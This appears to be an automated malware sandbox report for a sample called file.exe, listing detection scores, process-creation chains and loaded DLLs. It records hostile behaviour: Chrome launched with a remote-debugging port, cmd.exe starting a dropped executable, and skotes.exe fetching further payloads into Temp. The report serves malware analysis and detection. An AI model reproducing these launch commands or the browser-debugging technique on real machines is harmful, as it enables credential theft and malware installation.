Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 38%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2036,i,16395452361814298207,10428088418057651845,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFCFIJEBFCG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFCFIJEBFCG.exe "C:\Users\user\DocumentsFCFIJEBFCG.exe"
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe "C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe "C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe "C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe "C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe "C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe "C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe "C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe "C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe "C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFCFIJEBFCG.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2036,i,16395452361814298207,10428088418057651845,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFCFIJEBFCG.exe "C:\Users\user\DocumentsFCFIJEBFCG.exe"	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe "C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe "C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe "C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
